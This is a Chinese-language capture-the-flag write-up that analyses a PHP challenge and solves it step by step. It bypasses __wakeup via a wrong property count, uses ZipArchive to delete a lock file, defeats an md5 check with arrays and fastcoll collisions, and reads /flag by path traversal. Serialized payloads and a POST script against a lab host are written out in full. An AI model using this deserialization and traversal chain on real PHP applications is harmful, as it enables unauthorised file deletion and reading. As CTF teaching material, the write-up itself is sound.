分析代码
<?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {
public $filename;
public $content;
public $me;
function __wakeup(){
$this->me = new Ctf();
}
function __destruct() {
$this->me->open($this->filename,$this->content);
}
}
# Jesen 类包含了三个公有属性 $filename、$content 和 $me。当对象被反序列化时,__wakeup 魔术方法会将 $me 属性实例化为一个 Ctf 对象;当对象被销毁时,__destruct 魔术方法会调用 $me 属性的 open 方法。
class Ctf {
function __toString() {
return "die";
}
function open($filename, $content){
if(!file_get_contents("./sandbox/lock.lock")){
echo file_get_contents(substr($_POST['b'],0,30));
# 当./sandbox/lock.lock 文件不存在时,将$_POST['b']参数的前30个字符作为文件名,读取对应文件的内容并输出
# 这条是关键!后面可以利用 file_get_contents 查看文件内容
die();
}else{
file_put_contents("./sandbox/".md5($filename.time()),$content);
die("or you can guess the final filename?");
}
#如果 ./sandbox/lock.lock 文件存在,就会使用 $filename 和当前时间的 md5 值拼接出一个新的文件名,并把 $content 写入到这个文件中。最后输出 or you can guess the final filename? 并结束脚本。
}
}
if(!isset($_POST['a'])){
highlight_file(__FILE__);
die();
}else{
if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){
unserialize($_POST['c']);
echo "right";
}else{
echo "false";
}
}
# 如果 $_POST['a'] 存在,且 $_POST['b'] 不等于 $_POST['a'],且 md5($_POST['b']) 等于 md5($_POST['a']),那么会对 $_POST['c'] 进行反序列化。
思路
两个主要的if
判断,两个反序列化会调用的魔法函数: __wakeup()
、 __destruct()
if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a'])))
md5()函数无法处理数组,所以可以用数组绕过
后面需要 b 指定文件,可以用fastcoll_v1.0.0.5 生成两个md5值相同、内容不同的文件
if(!file_get_contents("./sandbox/lock.lock")){
echo file_get_contents(substr($_POST['b'],0,30));
这条说明:先删 ./sandbox/lock.lock ,再构造 b 参数,前30位为文件名(包含路径)
先干掉./sandbox/lock.lock
,只有这个文件不存在时,才会执行echo file_get_contents(substr($_POST['b'],0,30));
再构造b
读取文件
访问发现这文件是存在的
可以利用内置类ZipArchive
删./sandbox/lock.lock
function __wakeup(){
$this->me = new Ctf();
}
function __destruct() {
$this->me->open($this->filename,$this->content);
}
__wakeup() 可以用错误的属性数来绕过
__destruct中的open语句和ZipArchive内置类的语句有点相似,可以用来删文件
ZipArchive是php自带zip压缩、解压缩类 ZipArchive 更多参数介绍
$zip = new ZipArchive();
$zip->open('test_new.zip', ZipArchive::OVERWRITE) #参数1是文件,参数2是操作。
ZipArchive::open(string $filename [, int $flags ])
第二个参数有:
ZIPARCHIVE::OVERWRITE 预置常量为 8。总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖。
ZIPARCHIVE::CREATE 如果不存在则创建一个zip压缩包。
ZIPARCHIVE::EXCL 如果压缩包已经存在,则出错。
ZIPARCHIVE::CHECKCONS 对压缩包执行额外的一致性检查,如果失败则显示错误。
可以利用
$zip = new ZipArchive();
$zip->open('./sandbox/lock.lock', ZipArchive::OVERWRITE)
来删除 ./sandbox/lock.lock 文件
操作
第一步:
构造
<?php
class Jesen {
public $filename;
public $content;
public $me;
}
$c = new Jesen();
$c->me = new ZipArchive();
$c->filename = './sandbox/lock.lock';
$c->content = 8; # 这里用 ZipArchive::OVERWRITE 代替,序列化出来就是8,也可以直接用8,这是 ZipArchive::open 中的预置常量
$c1 = serialize($c);
$c1 = str_replace('":3:', '":4:', $c1); # 这一步是设置错误的Jesen属性数,绕过__wakeup
echo $c1;
# O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}
上面序列化的就是构造好的c
了,因为这一步只要删了lock.lock
就行了,所以a
和b
用数组绕过
a[]=1&b[]=2&c=O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}
成功删除
第二步:
利用fastcoll
工具生成符合“内容不同、md5值相同”条件的两个文件
fastcoll_v1.0.0.5.exe 1.txt
或
fastcoll_v1.0.0.5.exe -p 1.txt -o 2.txt 3.txt
生成的两个文件前面内容是一样的,后面不同
根据题目给的提示 flag在/flag
,和代码中的 substr($_POST['b'],0,30)
,可以构造:
./../../../../../../../../flag
刚好30位
生成两个文件 1_msg1.txt
、 1_msg2.txt
getflag
<?php
$postdata = http_build_query(
array(
'a' => file_get_contents("1_msg1.txt"),
'b' => file_get_contents("1_msg2.txt"),
'c' => "O:5:\"Jesen\":3:{s:8:\"filename\";N;s:7:\"content\";N;s:2:\"me\";N;}"
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://114.67.175.224:18647/', false, $context);
echo $result;
?>